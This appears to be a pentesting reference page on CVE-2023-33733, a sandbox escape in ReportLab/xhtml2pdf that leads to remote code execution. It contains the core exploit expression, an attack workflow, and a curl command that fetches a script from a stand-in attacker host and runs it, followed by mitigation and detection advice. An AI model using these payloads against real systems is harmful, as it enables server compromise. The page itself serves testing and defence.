# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733) {{#include ../../../banners/hacktricks-training.md}} This page documents a practical sandbox escape and RCE primitive in ReportLab’s rl_safe_eval used by xhtml2pdf and other PDF-generation pipelines when rendering user-controlled HTML into PDFs. CVE-2023-33733 affects ReportLab versions up to and including 3.6.12. In certain attribute contexts (for example color), values wrapped in triple brackets [[[ ... ]]] are evaluated server-side by rl_safe_eval. By crafting a payload that pivots from a whitelisted builtin (pow) to its Python function globals, an attacker can reach the os module and execute commands. Key points - Trigger: inject [[[ ... ]]] into evaluated attributes such as within markup parsed by ReportLab/xhtml2pdf. - Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose __globals__. - Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string "__globals__" while avoiding blocked dunder filtering. - RCE: getattr(pow, Word("__globals__"))["os"].system("") - Stability: Return a valid value for the attribute after execution (for color, use and 'red'). When to test - Applications that expose HTML-to-PDF export (profiles, invoices, reports) and show xhtml2pdf/ReportLab in PDF metadata or HTTP response comments. - exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer - HTTP response for PDF often starts with a ReportLab generator comment How the sandbox bypass works - rl_safe_eval removes or replaces many builtins (getattr, type, pow, ...) and applies name filtering to deny attributes starting with __ or in a denylist. - However, safe functions live in a globals dictionary accessible as func.__globals__. - Use type(type(1)) to recover the real builtin type function (bypassing ReportLab’s wrapper), then define a Word class derived from str with mutated comparison behavior so that: - .startswith('__') → always False (bypass name startswith('__') check) - .__eq__ returns False only at first comparison (bypass denylist membership checks) and True afterwards (so Python getattr works) - .__hash__ equals hash(str(self)) - With this, getattr(pow, Word('__globals__')) returns the globals dict of the wrapped pow function, which includes an imported os module. Then: ['os'].system(''). Minimal exploitation pattern (attribute example) Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and 'red'. exploit - The list-comprehension form allows a single expression acceptable to rl_safe_eval. - The trailing and 'red' returns a valid CSS color so the rendering doesn’t break. - Replace the command as needed; use ping to validate execution with tcpdump. Operational workflow 1) Identify PDF generator - PDF Producer shows xhtml2pdf; HTTP response contains ReportLab comment. 2) Find an input reflected into the PDF (e.g., profile bio/description) and trigger an export. 3) Verify execution with low-noise ICMP - Run: sudo tcpdump -ni icmp - Payload: ... system('ping ') ... - Windows often sends exactly four echo requests by default. 4) Establish a shell - For Windows, a reliable two-stage approach avoids quoting/encoding issues: - Stage 1 (download): exploit - Stage 2 (execute): exploit - For Linux targets, similar two-stage with curl/wget is possible: - system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s') Notes and tips - Attribute contexts: color is a known evaluated attribute; other attributes in ReportLab markup may also evaluate expressions. If one location is sanitized, try others rendered into the PDF flow (different fields, table styles, etc.). - Quoting: Keep commands compact. Two-stage downloads drastically reduce quoting and escaping headaches. - Reliability: If exports are cached or queued, slightly vary the payload (e.g., random path or query) to avoid hitting caches. Mitigations and detection - Upgrade ReportLab to 3.6.13 or later (CVE-2023-33733 fixed). Track security advisories in distro packages as well. - Do not feed user-controlled HTML/markup directly into xhtml2pdf/ReportLab without strict sanitization. Remove/deny [[[...]]] evaluation constructs and vendor-specific tags when input is untrusted. - Consider disabling or wrapping rl_safe_eval usage entirely for untrusted inputs. - Monitor for suspicious outbound connections during PDF generation (e.g., ICMP/HTTP from app servers when exporting documents). References - PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733) - 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html) - NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733) - xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html) {{#include ../../../banners/hacktricks-training.md}}